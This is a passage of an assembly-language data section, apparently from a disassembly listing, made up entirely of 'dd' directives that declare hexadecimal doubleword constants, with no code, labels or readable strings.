		dd 0AD1D0710h, 704B1A96h, 8552EB0Ch, 0ECBF7200h, 0DE14573Fh
		dd 9BFCFA5Ch, 8E410044h, 0B544FDB2h, 30824486h,	418E4900h
		dd 4B8B719Dh, 68390A22h, 2A87048h, 4CEF621Dh, 0C4109453h
		dd 6F793061h, 3B5434BCh, 0ACFA4428h, 0BD7C9700h, 0E426ADA4h
		dd 0B60412C9h, 7AD898EFh, 204E5581h, 999F5C11h,	4218FDD8h
		dd 0D1B38E2Ch, 88116C21h, 8E4A3500h, 0ADF0A143h, 407A1A07h
		dd 0AF009FB6h, 0C7AB3DC5h, 8520A0C0h, 17B404B5h, 8380C879h
		dd 86811900h, 9D611D31h, 126B009Ch, 3675E5A9h, 680528B6h
		dd 71FC96B7h, 0A1AF940Eh, 305B4AD1h, 91D7C20h, 0C8503B7Eh
		dd 0F731A823h, 10E976C7h, 7FCDA900h, 4720671Eh,	0E4C0015h
		dd 0BA77C071h, 4E33ABFDh, 0E04B28FEh, 3E167672h, 6E14F7C1h
		dd 0F27CA002h, 2C5A24FDh, 3E6F03CAh, 881E80CCh,	0CE18F0A2h
		dd 130217E0h, 417273BEh, 0A718B88Ch, 7401D275h,	1980CF39h
		dd 5E55C94h, 562C26ACh,	0F712A485h, 88E8F40Ch, 0B9541895h
		dd 0D1F02008h, 0D09FCF03h, 81ADA637h, 0E460A8B5h, 1EE887h
		dd 0B1C053E4h, 9AF38B97h, 3D8D0500h, 0EF660FDBh, 1D3000B3h
		dd 120ECE32h, 0F707DEE0h, 9CCA2D80h, 0E770B3h, 0B3729210h
		dd 0EEB213BDh, 119593Ah, 97EB597h, 75C82C14h, 679100B4h
		dd 394B9A94h, 0B2068CDAh, 8B981D54h, 8460C438h,	450900A9h
		dd 0EBCC202h, 0AD38CB91h, 7F2CB5h, 0FCD8F289h, 0B3249FD4h
		dd 2C82CB00h, 29AEC125h, 0C82203E1h, 0C0E83214h, 0A0A3A100h
		dd 0EF2E2F9h, 0E69F280Ah, 8FA000Ch, 322F9765h, 84B9C0h
		dd 0DE62451Fh, 3BADF471h, 0BE5B831Eh, 14B19198h, 49E260DAh
		dd 0E7112FB5h, 99A45000h, 0A9576E7Ch, 416006Bh,	338AB1D6h
		dd 497FC365h, 96885300h, 8E38590Ch, 3E392C3Dh, 86D00098h
		dd 3A923691h, 37E19E00h, 0CB48C94Bh, 167D05h, 8189998Eh
		dd 0EEC079B9h, 0E8D98226h, 466E1D06h, 0A0060140h, 47D259E6h
		dd 0A203D4B6h, 13613400h, 7F446DA7h, 0D80C0084h, 0C2147AD9h
		dd 0EC006086h, 6E364730h, 921665h, 0FED57B88h, 52C618C5h
		dd 0AD6D8006h, 3DA0E80Ah, 0AE008E60h, 8D51E44Ch, 0B1062628h
		dd 0D211C9CBh, 20E81D20h, 0DF350777h, 84D31057h, 0B4002971h
		dd 0B690EC27h, 0A8037Ch, 98959BC2h, 791E508Eh, 15004FE4h
		dd 0BE4D4A56h, 49FCE8h,	0B103331Fh, 0F00CDF55h,	1253061Fh
		dd 640C651Eh, 3D381163h, 518AD52Eh, 80A45F3Bh, 3D48718Fh
		dd 520046C5h, 0A95614Ch, 6EFD2EBh, 2955539Bh, 455210DAh
		dd 0E4C1AF04h, 0F30BF09Eh, 0C0A3B3F0h, 0F50ED903h, 0C046ADCCh
		dd 41E132h, 67B1E4D2h, 33DAEE1Eh, 39293564h, 11DDDE21h
		dd 601166FDh, 105D122Eh, 989E054h, 9C182841h, 0AA10A112h
		dd 0B5434004h, 44526544h, 728985A6h, 7C9D5E4h, 84A8FA5Bh
		dd 0E24D3091h, 9E012903h, 6C9B8255h, 17F985C5h,	399C64C0h
		dd 48005EE7h, 0E31AE639h, 900010DEh, 66C46270h,	30C8BA98h
		dd 0ECB6CC36h, 40075878h, 1E4D0A34h, 5F258800h,	5B0800DFh
		dd 0D542CD9Dh, 523EB0BEh, 0C5480011h, 0D39F4A9Bh, 0AFA30F0Eh
		dd 43E07FB3h, 36CF591Eh, 0DC8C5F00h, 4CE0385Eh,	525700E3h
		dd 3FCDCBFBh, 3E008429h, 0B136CC08h, 25B69832h,	0A70D5D6h
		dd 0DC46F828h, 65F41E2Ch, 4E560A00h, 6C1F63Fh, 0AF822768h
		dd 14031131h, 32EEFE4Dh, 0FA6CF061h, 1927795Ah,	49D7DC17h
		dd 0E060D54Ah, 5B00F915h, 74510DF1h, 74556BDh, 8BB29039h
		dd 0F774C963h, 24D2EC00h, 0C31E07h, 425004C2h, 0D5B1CA4Fh
		dd 638C8A00h, 58E4DD96h, 0ADF07Eh, 841FEB2Eh, 204A3A97h
		dd 9830290Eh, 540B8335h, 675AF09Ch, 0C06F0CB2h,	4218A92Dh
		dd 56FD9E07h, 0F4200F86h, 3EBEC1h, 0A08AAB82h, 4BE9D963h
		dd 7C692E01h, 13CBAA42h, 12C7C4h, 5CA37D04h, 382F8BE9h
		dd 41FA6B00h, 18D8F11h,	49B50F56h, 34C02393h, 5B40CFA5h
		dd 0B09ADA00h, 2167E532h, 4D0B011Fh, 79EFA6Ah, 6620FCCCh
		dd 2877E600h, 6DECEFDEh, 281E60D3h, 92DD0A8Fh, 4A973D0Eh
		dd 7E198310h, 0D7B9B145h, 2F724C0h, 236C5539h, 0B8808016h
		dd 5CDFB067h, 0B52E000h, 972492CBh, 0AA08013Fh,	0F777E329h
		dd 467EF875h, 0E80347FAh, 847254F8h, 0F67E8C4h,	90870735h
		dd 1002BC8Ch, 7229F503h, 7F524203h, 0F897F9DBh,	8A5196h
		dd 7BDACFDDh, 0A9A502C0h
		dd 0EACAFE00h, 9515469Ch, 5D2100B0h, 0C15440A1h, 0F548EE16h
		dd 62C2F028h, 0B4D00CFCh, 3DFE1895h, 6FB6091Fh,	9EF83940h
		dd 30F6BAC5h, 0E3183805h, 100A82Dh, 7FA96C0Dh, 0E744011h
		dd 44AFA60h, 76B1B220h,	0C2043C38h, 2BC91816h, 0FCE044D0h
		dd 0F8F77BA4h, 102300C4h, 9C8E7DDDh, 45020F4Ah,	6E7E833Ah
		dd 36E540AEh, 30A9E4B9h, 3878429Ah, 26007B52h, 0C354D348h
		dd 0E0CC23h, 7696FADDh,	912BC522h, 7EE2D200h, 0AA1DAFCh
		dd 9F0B3B20h, 0BEA52D00h, 13FED864h, 243A2177h,	7505876Ah
		dd 7D62491Dh, 0A6E88009h, 401EC57Eh, 38003F7Bh,	0DDB83507h
		dd 546A2232h, 11F0AEh, 7F8FBC09h, 3E762BC1h, 0C09EEC09h
		dd 3C188020h, 0B8401FCEh, 0E84B28A6h, 59EA05F0h, 2A7FBBh
		dd 0B2A3FAE8h, 12019DFCh, 691AA47Ah, 0ACD1294Fh, 3E69ED4h
		dd 25D2018Ah, 68A19F4Dh, 23543048h, 0B2E26201h,	0FAEFDF29h
		dd 30E605C0h, 65A28A28h, 0D7243ECFh, 9300AC92h,	0E1C4D95Fh
		dd 0B66C14CBh, 8314A44Dh, 0FD04AD1Ch, 0C0A655A7h, 3C139144h
		dd 6C432400h, 0BFC1E6ABh, 0D13A0EB9h, 61A06249h, 9F8FB437h
		dd 32CD959h, 61620BDh, 0DC44C0D3h, 99F202C2h, 3708D79Ah
		dd 0E05F440h, 6678D00Eh, 38005276h, 591D5F20h, 7CD00E4h
		dd 7116D117h, 3A7D2ABDh, 0A83F4Ch, 0BC6CB063h, 0F05EE1h
		dd 2A0FA11Eh, 40CCBE1Dh, 0F4EA7D00h, 8797AC33h,	2CF8E8h
		dd 8B760C21h, 0F9C0BDE3h, 9A33C300h, 34667A38h,	13BA007Eh
		dd 5D723C9Ch, 0B67B27ABh, 74821C0h, 37F5F32h, 84106EB3h
		dd 90D7BB4Ah, 0FCD65681h, 57540800h, 8720A1E1h,	0C64600D8h
		dd 0D4BBC15Dh, 9107D5F0h, 6F7A5FD9h, 1970EC90h,	34475B2h
		dd 0EFC6BDC3h, 2BE01268h, 72F63978h, 2085E51Eh,	799C6EC0h
		dd 4CDDD26h, 4CCB4EB3h,	0BAAF40F2h, 0AC5C9h, 3A71F580h
		dd 0B647396h, 0AC00E97Fh, 615ACE47h, 40449Ah, 2C9862DCh
		dd 0AF875B56h, 0A3C2B800h, 6AEDFA05h, 0C7CD07B3h, 606CEB1Ah
		dd 71783845h, 0F69B7000h, 15848297h, 9CC43C87h,	80372B81h
		dd 6104B8ABh, 1A81F408h, 0A5C55200h, 51BD6FF7h,	0EB7616h
		dd 0CCC15C3Eh, 39232B4h, 98964A24h, 5E2EE780h, 0D460DCh
		dd 0A6124D87h, 2988C516h, 0F763C607h, 0FEE0197Ch, 3BC9A3C7h
		dd 0F2807A68h, 0E7784504h, 503EF8Fh, 833D0C11h,	2B749181h
		dd 5BFED200h, 68002098h, 1E5166D7h, 484DB4B8h, 4404DC6Ch
		dd 407253D8h, 891A142Bh, 549600C4h, 0F36A3606h,	0D00CC30h
		dd 613BAF2Dh, 729FD2h, 0AC826002h, 18AEB95Ch, 93440A00h
		dd 0D7A2D3B3h, 80FE640h, 3038974Eh, 0AFB8AE04h,	5D8D64D0h
		dd 0D8A23FF8h, 21C46C00h, 0DC3D6966h, 0AF2A8C00h, 131F870Ah
		dd 43CA051Bh, 8056903Ah, 0B6427D94h, 0BA083D07h, 0FF10EBBBh
		dd 72A28C7h, 9B0172Ch, 0F7C5016h, 2700742Bh, 0D42E56ECh
		dd 0E69F1542h, 0A1791CD3h, 320B8FEAh, 0B08A4040h, 50034AD2h
		dd 0D33CCE54h, 4016DA9Ch, 0E677F8h, 0E27B3B76h,	9089DC8Eh
		dd 88399200h, 0BA10C303h, 0F6C20160h, 46CBFAEEh, 0EDAAFC56h
		dd 7A743B00h, 0A28F133Ch, 2E930129h, 2BBD145Dh,	91B2E80Ch
		dd 0D680BB00h, 6423D5EFh, 0C9AC0030h, 0C6EE496Ch, 2B3BB17Dh
		dd 0EB0B009Eh, 0D5236F7Bh, 1FA6ECA4h, 0A5F287h,	50029E26h
		dd 7C076BB0h, 517020BFh, 0FDAFEFh, 628AFE2h, 792C0017h
		dd 40C18134h, 4A3C6DE1h, 260180ADh, 0A88933B3h,	0CC4B0043h
		dd 55097A19h, 0FB0E6E2Ah, 277BEF5Ah, 0C09FF090h, 2FE96C52h
		dd 0D53300EAh, 270FF5FBh, 0B5C9228h, 3F30016Ch,	0A1F2F59h
		dd 0F236D1D0h, 3CEA00C0h, 209493C8h, 0C7006261h, 1EB24118h
		dd 148F951h, 1C25ACE1h,	0E4FF40C2h, 0B1039B3Dh,	15AFB94Dh
		dd 0F1D0BFE9h, 78ACA7h,	6C276A0Ah, 0C7E293CAh, 4EDC5900h
		dd 0C21BFC5Fh, 466603FBh, 9817B3CEh, 0C750EA98h, 0A0C3EE2Ch
		dd 3D755300h, 0BA61FCBFh, 85CB0014h, 0F808B519h, 860366E9h
		dd 0C96038A8h, 87D5E043h, 77E700B3h, 0E5363FEBh, 0DC00BE2Eh
		dd 0B052132Fh, 3C9E7C01h, 0E6A6C1F9h, 81142E67h, 0E0395866h
		dd 0C4D3F01Ch, 4D4A9D00h, 0D83E5201h, 0EDF0F6Dh, 17E3C6C9h
		dd 5EA88286h, 0FD011B83h, 0F85C09F0h, 2DCE75Fh,	791718A2h
		dd 0CC29C0D7h, 0B8477B04h, 0C0A09E5Bh, 0E8FC072Fh, 0C07263A8h
		dd 0A6B2DA59h, 98C46630h, 7CD78A7Dh, 45870080h,	3A69C9F8h
		dd 4F0EA6F6h, 0A0AF63D1h, 27883FB5h, 5AC78E2h, 0B0B6BC94h
		dd 0F82C804Dh, 93002411h, 5E9D80FEh, 95177F4h, 92E110E0h
		dd 87619042h, 24B82257h, 9C3D0449h, 4E56EC56h, 2BA35500h
		dd 50E6CEh, 46D8476h, 633EF291h, 446AF400h, 5125AAF8h
		dd 0C25A0096h, 0DE68CB8Ah, 16198613h, 9469802Ah, 0E0EC8D42h
		dd 0BB3E84h, 8C0D2FDEh,	0E4E27923h, 0A4E9507h, 0D0F06675h
		dd 55BD996h, 0B0ECAAA5h, 81A0D0B3h, 0F800C8DCh,	310122B4h
		dd 66CF61h, 0AFB14E5Dh,	4D915EA9h, 300BD530h, 1CDCCCBh
		dd 976DBE49h, 0E87EAEB4h, 6005709h, 788B6F69h, 6BDF0DEh
		dd 0A115B68Ch, 684469D8h, 60791293h, 360000C5h,	0E9E209C4h
		dd 0B7E55800h, 4E9C395Ch, 41B06Ah, 10E3D564h, 405F723Eh
		dd 86D18300h, 1CA8A22Dh, 60D6E8F4h, 7AEC99F0h, 24B8D8FAh
		dd 39317119h, 3DF4A319h, 0BF9000D9h, 1F2D4DF3h,	3B0774BCh
		dd 56A65DA1h, 0CD9AAD60h, 9621EF2h, 0AFA2C036h,	0C4596B1Eh
		dd 9815FC0Ah, 0F300C149h, 6538690Fh, 1458BACEh,	0F459F657h
		dd 877C2B00h, 0D05F22D4h, 88E48CA8h, 4295D712h,	0E8A90000h
		dd 0F3BF846Fh, 7949DC8h, 3C778C7Fh, 53ECF06Ah, 3B000EFAh
		dd 0F420DE30h, 3F6D8A4Bh, 0E518B641h, 0F77A7028h, 0B82CB08Ah
		dd 90035DF8h, 0AE27DB00h, 300AD1D2h, 730011F4h,	9C8D2B4Ch
		dd 0EC89F4Ah, 451D3A74h, 0C7BC49E0h, 0F41AE346h, 62103BFAh
		dd 0AC48A177h, 8DD0EC96h, 0E96E010Bh, 19B37522h, 93AC400Ch
		dd 2500D41Dh, 0F9C33C9Fh, 1D67D180h, 0C06A66D5h, 0D0593797h
		dd 0AF1DDB39h, 0C82A9EBEh, 3842CD4Ah, 80B32F70h, 67F5A194h
		dd 42B2009Dh, 0D348969Ch, 0BA016055h, 6BD69532h, 0A0E2920Eh
		dd 7B9E1DA4h, 0F9F1C005h, 6AB67401h, 8330BA48h,	1F26D998h
		dd 0C007FB21h, 9F8916C6h, 9324FFF4h, 0C18524C2h, 8C009730h
		dd 0EEB4167h, 0D3620B6Ah, 0F82190C2h, 24DCA22Fh, 780AE724h
		dd 0BCFE8659h, 0E93D2A87h, 60F2A2E2h, 34C837h, 0E624018Ch
		dd 0A5759D5Ch, 0C049100h, 1FC1F661h, 8580103h, 527B8C73h
		dd 4930F0B8h, 0D00E4A01h, 0A47DA13h, 3A4278D0h,	1D0026FEh
		dd 6C61D68Bh, 0B91FC3AEh, 44813410h, 3702277Eh,	0F2576C0h
		dd 0ED732459h, 7FC80F2h, 4300D2A0h, 0C8B5DEEh, 4C0BE04Eh
		dd 5A000859h, 72A8460Ah, 20B81801h, 34122492h, 0E4CE611Ch
		dd 81B9530Eh, 0F4300097h, 0F0075114h, 7F02EF98h, 25E3BC01h
		dd 0A4C880AEh, 25841C1h, 17F8538Bh, 944ACF0Dh, 4606EC2h
		dd 0BC2447E4h, 0DE8790EAh, 4E504F78h, 27E58Ch, 54AF3863h
		dd 5BF308Ah, 830F851Eh,	66F0E1C3h, 876DA8ACh, 0E66C0039h
		dd 33C9DB58h, 8B3DA24Bh, 0F84FA87Ch, 0AA826500h, 37A4AF36h
		dd 101100A5h, 1AC1FD28h, 321FA212h, 0E65D8069h,	0C52C54C7h
		dd 0F8BB8323h, 71BEB3Ah, 5A5BE948h, 0D22D04Dh, 23B17A5h
		dd 7C4805h, 0FD708793h,	58EEE2BDh, 3A48E9CFh, 17DB3600h
		dd 881402B8h, 91086800h
		dd 151633BDh, 0E3B739ABh, 0C0541E1Eh, 0B8E94A25h, 920BB470h
		dd 800E08BFh, 0F051EB38h, 0DA545C42h, 0FCFB1902h, 0B4793FC1h
		dd 92F66600h, 287082h, 0B68626F0h, 6E89226Bh, 7C039E7Bh
		dd 1D2D942h, 1057E013h,	0A9CE0B27h, 6201284Bh, 0BD91C0F1h
		dd 50387329h, 40A717FEh, 4717E800h, 1B9BD6h, 65C0E746h
		dd 0A6E503C7h, 87B4341Fh, 18CC3780h, 3864BF8Ah,	9006B0Ch
		dd 0D2DD2974h, 173BFE7Fh, 0D64F00E9h, 320F3D68h, 0AF5C0161h
		dd 65A13E25h, 59D0435Ah, 0CAD814B0h, 0CCFB4C00h, 3A1EDB37h
		dd 343600CEh, 7349FC84h, 0B018A13h, 0E0E858F2h,	9C70A246h
		dd 54041E42h, 0C1F7C017h, 0BD6E3EF3h, 0FF589EEEh, 57BA01FCh
		dd 1BA178A2h, 30702F4h,	7AEF43CDh, 0BCB988C0h, 8228B8FEh
		dd 9B31F86Dh, 3D804896h, 30E14D21h, 0A0225600h,	48B38453h
		dd 479E0E13h, 345D5440h, 5FC398h, 0D84AEA36h, 65DD52DFh
		dd 490493F0h, 94F58AADh, 636E8D40h, 509072B7h, 3D525314h
		dd 21C530B3h, 0BB7DEAh,	64196BFCh, 43C784D7h, 0E2577903h
		dd 4B1CCB3h, 0D27DAC19h, 0B068D023h, 0A100AEC2h, 81034435h
		dd 0EFC14268h, 0F7F0EE71h, 0B4F9005Dh, 0CB3C9695h, 0F803C792h
		dd 5AC01B1Ch, 3E780E1Dh, 540074F9h, 9764F405h, 0AC316D03h
		dd 0E8B30E7Eh, 39AD59ECh, 6902B9E2h, 8F354962h,	69559487h
		dd 3CB88840h, 82320439h, 0C63BA116h, 418B40C7h,	96E00095h
		dd 5FCB0AAh, 0DF136C53h, 580128EBh, 0FAE3A5E7h,	0C7FB7FF9h
		dd 1AE07C57h, 31CBF32h,	19B9E80Ah, 0EFD915C5h, 2179DD43h
		dd 4E4C400Eh, 6CB68DA6h, 17F7EA80h, 0EF06365h, 0C1F31072h
		dd 0C282FABCh, 0FE08E51Eh, 0EDBA38C8h, 6513860Ah, 1101A03Dh
		dd 6E6B844Ah, 97D485C9h, 596900FAh, 90A173A5h, 5E00B0BAh
		dd 99577A2h, 236CBB8h, 0B76E6D25h, 5440B5D6h, 1916DC49h
		dd 8CC03E30h, 80476678h, 0E38BD6C6h, 0E833BA40h, 35E774h
		dd 7EC90EE4h, 22DEE954h, 0B2E64700h, 0F06A9F36h, 0CBB493Ah
		dd 18A26F00h, 1BB7CC98h, 0DAFC0754h, 4282658h, 0B5A341D3h
		dd 38C74880h, 11AA008Fh, 0A57306B8h, 48B1ED13h,	0D19EB500h
		dd 0AA7EABh, 0EA663049h, 3788CEADh, 4BB77CC0h, 3915B818h
		dd 340A80D6h, 0CC90F3h,	9DB335Eh, 0C4000753h, 11C2861Bh
		dd 391A7862h, 66007F71h, 0DDE0A972h, 1F011479h,	347EDA9Eh
		dd 0CDEC1AB0h, 43F8E9h,	0A984FC4h, 3BC8A524h, 0B1AA3D00h
		dd 2D7D39F6h, 0D3C62CE0h, 0E1B70010h, 82702C30h, 0E2045AEAh
		dd 58D44954h, 78980FBh,	0E30029A8h, 0D974170Eh,	124AA38h
		dd 48F4D443h, 34A55F77h, 930B6C94h, 80A65390h, 0CEC24264h
		dd 8CB22Bh, 0A76FAC92h,	57291814h, 0C28DD804h, 80C03674h
		dd 18B5DF81h, 1037E03Ah, 5F160A2Dh, 38C7C76Dh, 0BF48B014h
		dd 1E07F8h, 0F8F4C5CDh,	0B64BA5A0h, 0F2C4B850h,	0C226EE02h
		dd 80877C59h, 97486CDCh, 5760Bh, 4458CFD5h, 5A74958Ah
		dd 933E3190h, 188C24DDh, 630B7101h, 0FEF0273Ch,	13107699h
		dd 2BAE7ACh, 17C6C170h,	90D08440h, 39AEEF00h, 9AC85B12h
		dd 7E18C044h, 0A08FEEB9h, 0A6F93C00h, 6143D83h,	0DDBD01DEh
		dd 80BBAB0h, 0FDE3EA51h, 2E6728C8h, 52775D00h, 0B5B18DFEh
		dd 0A91100D1h, 194197E6h, 0AB00BBD4h, 5C0BD0EFh, 1EA2FA6Ch
		dd 40ED87E0h, 7DC0AD4Ch, 9CA8068Bh, 44EA4EB1h, 3BC2A301h
		dd 657019BCh, 0D18BD4h,	83CD73B4h, 9CCE1A84h, 803BC4BCh
		dd 10AE747Fh, 3A318D1h,	0D6A6F68Bh, 2E98FBF8h, 0C8906A60h
		dd 8026743Ah, 8DD43DECh, 3C82A31h, 0D23C3B1Fh, 0B0EFE1D6h
		dd 8A396481h, 0EEF9B500h, 0AC049B56h, 8B0E0426h, 0CE6121D7h
		dd 53007414h, 63F0BAE4h, 0A2FC67h, 8F5F97E3h, 0B534DA88h
		dd 9BD2402h, 0C014B90Fh, 0FAA6DE4h, 3E2C9899h, 55AF1260h
		dd 8500E9C5h, 0D7D66817h, 6C3006h, 0CCE357EEh, 0C7C936F0h
		dd 0FD47FB00h, 0C4C6F69Ch, 17300094h, 0BA486EA8h, 79003D9Eh
		dd 0FB8C47F3h, 904921h,	0CE4FABEh, 0EB4D6092h, 341D8000h
		dd 6CECBCE7h, 81E240h, 4B506F83h, 9815608Fh, 7CC46401h
		dd 6CB5EE56h, 12849760h, 0A0E2D785h, 0D6006EE8h, 7F7CE772h
		dd 7EE669h, 96E46025h, 91902C29h, 9D304E0Bh, 8E3400AAh
		dd 2C66409Fh, 949587h, 0D6BCA80h, 9200B13Bh, 119363Ch
		dd 61A95D0Ch, 0E2EB60D6h, 78DC3880h, 0A00E37Ch,	0EFFC669h
		dd 28C254DDh, 2F102C53h, 0C20BA8Bh, 47781D59h, 77FA0102h
		dd 62F14F63h, 80870FF0h, 86A9D26Dh, 6949004Dh, 57BF12F5h
		dd 0FD05D6DCh, 186C77F1h, 0A4D2E0D0h, 0FBDF03AEh, 0D8627801h
		dd 0E73320A7h, 0FF00D7C5h, 1167D1BFh, 0C4069Fh,	8729EB52h
		dd 73CF6CAFh, 750E0300h, 6DE7FFD6h, 0A01DF623h,	5408C62Ch
		dd 86A4DFh, 5A80031Eh, 847C0270h, 6CE83228h, 0D6AB5D1Fh
		dd 0F0E4870h, 2ADF6CDh,	0F6E18746h, 0B1C061D4h,	5C00E020h
		dd 0C0A747ECh, 924D9h, 910D32EEh, 0A06525ACh, 98E38F00h
		dd 602A6AC5h, 3023006Fh, 0BA5A4A10h, 8E0BCA6h, 140CA074h
		dd 815C0ED6h, 281D703Ah, 18CC1964h, 0B9D74918h,	460F5D2Ah
		dd 82D9CBE1h, 87D44D58h, 4448A20Ch, 0C1963121h,	0D3420508h
		dd 9FB41A10h, 0B56261F0h, 46EC403Dh, 0DD5FC110h, 0E65BEB0Bh
		dd 2300D829h, 4EFCE4E2h, 21C19176h, 6093B3FDh, 6157F360h
		dd 166C8144h, 0AC1C403Eh, 2D00D5D7h, 6D50344Eh,	78D30F87h
		dd 57DA025Dh, 245FCA2Eh, 30FBD4CBh, 432769C1h, 62C15908h
		dd 4155121Fh, 0A0E04144h, 91EE06FEh, 0C9D8B446h, 0E155808h
		dd 0C87D0A82h, 0BFD180ACh, 9BCE2BB3h, 679AFF01h, 53EE330Eh
		dd 10849848h, 1876E657h, 82390C0Dh, 27F4AE0h, 0B4ECFB44h
		dd 0A2BC1883h, 0CE8F4800h, 20D581F9h, 7AE726BAh, 72003817h
		dd 749CB79Bh, 5AFF076Bh, 64804B14h, 3B7091h, 0D2430764h
		dd 23E0D461h, 0BE244h, 843A2BF2h, 6CD8022Eh, 0F3089866h
		dd 0E7460021h, 0E636442Bh, 4B0022A8h, 0EB739AFBh, 36BEE32h
		dd 5C5FC9DEh, 458095C5h, 0E501B922h, 1F2D5854h,	2B6006B1h
		dd 0D5E32A8Dh, 0D9F207ECh, 70014A16h, 0E553DF77h, 0C42908CAh
		dd 16D59580h, 1C9C65EDh, 41EE1DE9h, 0AE57C62Fh,	14A447ABh
		dd 0B1801EA9h, 97179DDBh, 0A87B54E4h, 0E691D4Bh, 89AD8070h
		dd 4828C1A5h, 66F4A009h, 83647AD2h, 0E608C84h, 84747E2Dh
		dd 0D308208Ch, 2BE32200h, 266F7C94h, 0E6B9879h,	0EA985DBEh
		dd 4B4A68A0h, 8C0A5829h, 0FCD265D9h, 2406F611h,	804B4CF1h
		dd 77A7EE0Ch, 139318AAh, 205C1C0Ah, 0A2852528h,	8E6F0B01h
		dd 97C6D6FFh, 211A0898h, 0A2008D06h, 0C35514FAh, 0AD83902h
		dd 35E91892h, 0EF9805F4h, 4ECC01F3h, 21335DABh,	0D2F1F87Fh
		dd 0DC0AD300h, 994A9515h, 39320012h, 0D58D1440h, 68002D72h
		dd 0FCEF0CC2h, 709C590h, 0CBF44E30h, 8C7C40FBh,	0E807A14Ah
		dd 3974AA8Fh, 0AE476E10h, 0D5750005h, 4E8E267Ah, 0A3009686h
		dd 2FED0A13h, 90887B7h,	0CBEFEC75h, 7C805901h, 0E4408793h
		dd 4DB4AD8Ah, 902A5E80h, 83A6611h, 0D100217Eh, 597FCB85h
		dd 0C0314EEFh, 676EC280h, 846348F7h, 1458D10h, 0E1DFA390h
		dd 80E509FCh, 534D5910h, 0C4391ABh, 8B90788Eh, 0E4603C08h
		dd 53555020h, 0A1E20735h, 0E0FE974Fh, 82760CEEh, 0CEA6DF00h
		dd 0F1186511h, 0E4F1CCCBh, 7F8C7AC0h, 0F94711AFh, 80A68891h
		dd 2DCB87D3h, 600B60Fh
		dd 1BBD3661h, 26E1115Fh, 14C0F2FDh, 0F880A8E7h,	8E784AC6h
		dd 0B3C36C50h, 0DCEDF43Bh, 879813E4h, 0F51C00AEh, 0F0C05521h
		dd 7377CB5Ch, 594214C0h, 0C7EA7C4h, 7D523B39h, 1400AA80h
		dd 1DBF1F56h, 1DAE6B92h, 0A3049F5h, 940FEAh, 571F7F5Bh
		dd 830627EFh, 0CCC22BDFh, 1F615E8h, 0FB2EDCD9h,	46E10078h
		dd 8E1C8375h, 0F81EAC00h, 339A6B71h, 0DF930044h, 72A3C4EBh
		dd 8600D8B5h, 0A21F02F5h, 3FF293Ah, 0A63CA4ABh,	0FDF88910h
		dd 0F2002AA7h, 39E6A9FAh, 0D02DC7h, 26EF7888h, 3ADC6643h
		dd 7F714A00h, 0EB2ECB89h, 0C17A50h, 697295D7h, 0D9972D6Bh
		dd 0AA00AE79h, 3B7E65D6h, 3E22CFAh, 388F5560h, 68904B53h
		dd 0C618E178h, 0C9D4A4BFh, 0B08E0050h, 774F1D0Dh, 2800639Dh
		dd 9E9F856Ch, 3BCE48h, 10F1113Dh, 0EC5EC5E8h, 0E9EB5503h
		dd 0E8B64B02h, 4A3CE08Ah, 78D5BDA0h, 221758h, 0C13E20Eh
		dd 0F1F769Dh, 0D19A2736h, 9434F680h, 1D60E608h,	1F161840h
		dd 13431893h, 511C10E2h, 3835CD0Fh, 200F5E30h, 0EBF8E037h
		dd 1191ADBh, 0C3474C5Bh, 40EA716Ch, 54919444h, 282CD600h
		dd 1C9E7858h, 0EFE41Ah,	33A39580h, 0D46690B3h, 8663E600h
		dd 75F78456h, 4AA8002Eh, 7A09F092h, 5375770Eh, 404B78C0h
		dd 3EA1FA74h, 1C00CAC4h, 5E877CE1h, 94609E05h, 0E6CECCA8h
		dd 9A58009Bh, 0A281DAB4h, 80066FB7h, 428E02DFh,	168904F0h
		dd 0DACB12h, 73C0B34Bh,	10F629h, 89BA399Eh, 0F25A529Ah
		dd 0BFE60918h, 10AB629h, 21339D84h, 9FDC6E62h, 45806119h
		dd 56524223h, 0BF140255h, 0BECF3E33h, 9C50049Fh, 10F661F1h
		dd 804A0F75h, 994C1BD0h, 0BD4D95h, 3E46BEE1h, 0ECCED51Ch
		dd 0CF761904h, 21C1EB4Bh, 29889321h, 3B00BC6Dh,	0F00EA053h
		dd 892D1CAEh, 0FA84CF44h, 93FBBE40h, 73003FCEh,	0DEF6A3ABh
		dd 3DBB6A08h, 4380A616h, 8B1A23D8h, 6C00B2F0h, 449CB91Eh
		dd 12D96AFFh, 0B950533h, 1383CEA3h, 0AA800C71h,	0BB003459h
		dd 9310FB2Ch, 7BEB43A0h, 0BD4F012Ah, 64FD2968h,	0DE17F89Eh
		dd 0F80057F8h, 4327803Dh, 1C1218EEh, 6CD6B1h, 99D066D7h
		dd 1D7B8C26h, 0EA0159EAh, 96359C54h, 0FDE8BDF7h, 0D0620066h
		dd 0A4BCD4C9h, 343C91BAh, 0F40B0019h, 940DCDD5h, 2DAC0065h
		dd 2B0CC54Eh, 0BC0015EEh, 11F84A30h, 8B555Ch, 82B39E56h
		dd 365EDF39h, 0AE5F5B00h, 13ABDD6h, 7D9B141Ch, 440B82CDh
		dd 7A835717h, 0BBC84720h, 4033367Ch, 0FF24B83Ch, 0FA1E11B0h
		dd 1B1D03DFh, 5575F2B2h, 41CCA4B0h, 62874900h, 0DE26F367h
		dd 0F84E0019h, 0D8DFFDE9h, 18007E73h, 0FF43B384h, 1DC01C0h
		dd 0A555E76h, 0F840E929h, 5A0BCD18h, 80A6649Ah,	70E24E5h
		dd 33DC03B9h, 0B445F81Dh, 302A2900h, 0EA04A5CCh, 0A0BA07E9h
		dd 0B0B1F388h, 0D91760CBh, 8C165603h, 9795513Dh, 9201F490h
		dd 0ECBD00FFh, 67D84D02h, 0EA002370h, 98D3195Dh, 1A5194h
		dd 0EF4764EBh, 27209160h, 0D0B43350h, 765EA317h, 68D315h
		dd 0C074A883h, 30A295E1h, 1C305F60h, 0B0006E2h,	0B10FCAD7h
		dd 18D87784h, 38C46A3Ah, 0B74867E4h, 71721E2Ch,	6082B940h
		dd 0C8BEE7h, 0F4DE0995h, 589C2777h, 0C28EA800h,	0F64F45A0h
		dd 0F4D001Ah, 93B15370h, 0D90035ECh, 8F3AF77Eh,	1EC86B23h
		dd 0C1390FE7h, 6AC75CE1h, 92A5D855h, 0C0388224h, 0FF081D00h
		dd 37328494h, 73B05E1Ah, 58A05BCDh, 0FB3046E7h,	24FE90B3h
		dd 13DB0379h, 74B016DAh, 1EFD1900h, 2AAE5E8Bh, 0B4CA0035h
		dd 0A6459539h, 6B2B780Eh, 29001827h, 0B9BC66Fh,	888E507Fh
		dd 613E006Dh, 2FD3C74Eh, 0B7005DE1h, 9EDEB68Bh,	13470703h
